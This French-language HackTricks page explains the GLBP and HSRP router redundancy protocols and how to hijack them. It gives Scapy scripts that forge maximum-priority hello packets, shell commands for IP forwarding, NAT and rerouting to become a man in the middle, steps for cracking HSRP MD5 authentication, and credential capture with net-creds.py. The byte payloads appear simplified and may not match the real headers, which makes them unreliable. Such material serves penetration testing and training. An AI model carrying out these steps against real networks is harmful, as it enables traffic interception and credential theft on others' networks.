GLBP & HSRP Attacks

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Aperçu du détournement FHRP

Aperçu de FHRP

FHRP est conçu pour assurer la robustesse du réseau en regroupant plusieurs routeurs en une seule entité virtuelle, améliorant ainsi la répartition de charge et la tolérance aux pannes. Cisco Systems a introduit des protocoles majeurs de cette suite, tels que GLBP et HSRP.

Aperçu du protocole GLBP

GLBP, une création de Cisco, fonctionne sur la pile TCP/IP en utilisant UDP sur le port 3222 pour la communication. Les routeurs d’un groupe GLBP s’échangent des paquets “hello” toutes les 3 secondes. Si un routeur cesse d’envoyer ces paquets pendant 10 secondes, il est considéré hors ligne. Ces temporisateurs ne sont cependant pas fixes et peuvent être modifiés.

GLBP pour IPv6 utilise le multicast FF02::66 sur UDP/3222, et le format de MAC virtuel devient 0007.b4xx.xxyy (l’ID AVF est dans le dernier octet). Les temporisations et la surface d’attaque restent identiques à IPv4, donc les techniques de détournement fonctionnent toujours dans les réseaux dual‑stack.

Fonctionnement de GLBP et répartition de charge

GLBP se distingue en permettant la répartition de charge entre routeurs en utilisant une seule IP virtuelle couplée à plusieurs adresses MAC virtuelles. Dans un groupe GLBP, chaque routeur participe au forwarding des paquets. Contrairement à HSRP/VRRP, GLBP offre un véritable équilibrage de charge via plusieurs mécanismes :

  • Répartition de charge dépendante de l’hôte : maintient une affectation d’adresse MAC AVF constante pour un hôte, essentielle pour des configurations NAT stables.
  • Répartition round‑robin : l’approche par défaut, alternant l’affectation des adresses MAC AVF entre les hôtes demandeurs.
  • Répartition pondérée round‑robin : répartit la charge en fonction de métriques “Weight” prédéfinies.

Composants clés et terminologie dans GLBP

  • AVG (Active Virtual Gateway) : le routeur principal, responsable de l’attribution des adresses MAC aux routeurs pairs.
  • AVF (Active Virtual Forwarder) : un routeur désigné pour gérer le forwarding du trafic.
  • GLBP Priority : métrique qui détermine l’AVG, démarrant par défaut à 100 et variant entre 1 et 255.
  • GLBP Weight : reflète la charge actuelle d’un routeur, ajustable manuellement ou via l’Object Tracking.
  • GLBP Virtual IP Address : sert de gateway par défaut du réseau pour tous les appareils connectés.

Pour les échanges, GLBP utilise l’adresse multicast réservée 224.0.0.102 et le port UDP 3222. Les routeurs transmettent des paquets “hello” toutes les 3 secondes et sont considérés non opérationnels si un paquet manque pendant une durée de 10 secondes.

Mécanisme d’attaque GLBP

Un attaquant peut devenir le routeur primaire en envoyant un paquet GLBP avec la valeur de priorité la plus élevée (255). Cela peut mener à des attaques DoS ou MITM, permettant l’interception ou la redirection du trafic.

Exemple pratique de détournement GLBP avec Scapy (PoC court)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

Construisez les octets du payload pour imiter l’en-tête GLBP (version/opcode/priority/weight/VRID). La mise en boucle de la trame garantit que vous remportez l’élection AVG si l’authentification est absente.

Exécution d’une attaque GLBP avec Loki

Loki peut effectuer une attaque GLBP en injectant un paquet avec priority et weight définis à 255. Les étapes pré-attaque consistent à collecter des informations telles que l’adresse IP virtuelle, la présence d’authentification et les valeurs de priority du router en utilisant des outils comme Wireshark.

Étapes d’attaque :

  1. Passez en promiscuous mode et activez IP forwarding.
  2. Identifiez le router cible et récupérez son IP.
  3. Générez un Gratuitous ARP.
  4. Injectez un paquet GLBP malveillant, usurpant l’AVG.
  5. Attribuez une adresse IP secondaire à l’interface réseau de l’attaquant, reproduisant la GLBP virtual IP.
  6. Implémentez SNAT pour une visibilité complète du trafic.
  7. Ajustez le routage pour garantir un accès Internet continu via le router AVG d’origine.

En suivant ces étapes, l’attaquant se positionne en tant que “man in the middle”, capable d’intercepter et d’analyser le trafic réseau, y compris des données non chiffrées ou sensibles.

Pour la démonstration, voici les extraits de commandes requis :

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

La surveillance et l’interception du trafic peuvent être effectuées en utilisant net-creds.py ou des outils similaires pour capturer et analyser les données circulant dans le réseau compromis.

Explication passive du détournement HSRP avec détails de commandes

Aperçu de HSRP (Hot Standby Router/Redundancy Protocol)

HSRP est un protocole propriétaire Cisco conçu pour la redondance de passerelle réseau. Il permet de configurer plusieurs routeurs physiques en une seule unité logique avec une adresse IP partagée. Cette unité logique est gérée par un routeur principal responsable de l’acheminement du trafic. Contrairement à GLBP, qui utilise des métriques comme la priorité et le weight pour l’équilibrage de charge, HSRP s’appuie sur un seul routeur actif pour la gestion du trafic.

HSRPv1 uses multicast 224.0.0.2 and virtual MAC 0000.0c07.acXX; HSRPv2 and HSRPv2 for IPv6 use 224.0.0.102 / FF02::66 and virtual MAC 0000.0c9f.fXXX. UDP destination port is 1985 for IPv4 and 2029 for IPv6.

Rôles et terminologie dans HSRP

  • HSRP Active Router : L’appareil agissant comme passerelle, gérant le flux de trafic.
  • HSRP Standby Router : Un routeur de secours, prêt à prendre la relève si le routeur actif échoue.
  • HSRP Group : Un ensemble de routeurs collaborant pour former un routeur virtuel résilient.
  • HSRP MAC Address : Une adresse MAC virtuelle assignée au routeur logique dans la configuration HSRP.
  • HSRP Virtual IP Address : L’adresse IP virtuelle du groupe HSRP, agissant comme passerelle par défaut pour les appareils connectés.

Versions de HSRP

HSRP existe en deux versions, HSRPv1 et HSRPv2, qui diffèrent principalement par la capacité de groupes, l’utilisation des IP multicast, et la structure de l’adresse MAC virtuelle. Le protocole utilise des adresses IP multicast spécifiques pour l’échange d’informations de service, avec des paquets Hello envoyés toutes les 3 secondes. Un routeur est présumé inactif si aucun paquet n’est reçu pendant un intervalle de 10 secondes.

Mécanisme d’attaque HSRP

Les attaques HSRP consistent à forcer la prise de rôle du routeur actif en injectant une valeur de priorité maximale. Cela peut conduire à une attaque Man-In-The-Middle (MITM). Les étapes préalables essentielles incluent la collecte d’informations sur la configuration HSRP, ce qui peut être fait à l’aide de Wireshark pour l’analyse du trafic.

Quick HSRP takeover with Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

Si l’authentication n’est pas configurée, l’envoi continu de hellos avec une priorité supérieure force les peers dans les états Speak/Listen et vous permet de devenir Active, redirigeant le trafic via votre hôte.

HSRP authentication corner cases

  • Legacy plain-text auth is trivially spoofable.
  • MD5 authentication only covers the HSRP payload; crafted packets can still rate-limit/DoS control planes. NX-OS releases previously allowed DoS against authenticated groups (see Cisco advisory CSCup11309).
  • On many ISP / VPS shared VLANs, HSRPv1 multicasts are visible to tenants; without auth you can join and preempt traffic.

Étapes pour contourner HSRP authentication

  1. Enregistrez le trafic réseau contenant des données HSRP dans un fichier .pcap.
tcpdump -w hsrp_traffic.pcap
  1. Extract MD5 hashes from the .pcap file using hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. Crack the MD5 hashes using John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes

Exécution de HSRP Injection avec Loki

  1. Lancez Loki pour identifier les HSRP advertisements.
  2. Mettez l’interface réseau en mode promiscuous et activez l’IP forwarding.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Utilisez Loki pour cibler le routeur spécifique, saisissez le HSRP password cracké, et effectuez les configurations nécessaires pour impersonate the Active Router.
  2. Après avoir obtenu le rôle d’Active Router, configurez votre interface réseau et les iptables pour intercepter le trafic légitime.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Modifiez la table de routage pour rediriger le trafic via l’ancien Active Router.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Utilisez net-creds.py ou un utilitaire similaire pour capturer des credentials depuis le trafic intercepté.
sudo python2 net-creds.py -i eth0

L’exécution de ces étapes place l’attaquant en position d’intercepter et de manipuler le trafic, similaire à la procédure de GLBP hijacking. Cela met en évidence la vulnérabilité des redundancy protocols comme HSRP et la nécessité de mesures de sécurité robustes.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks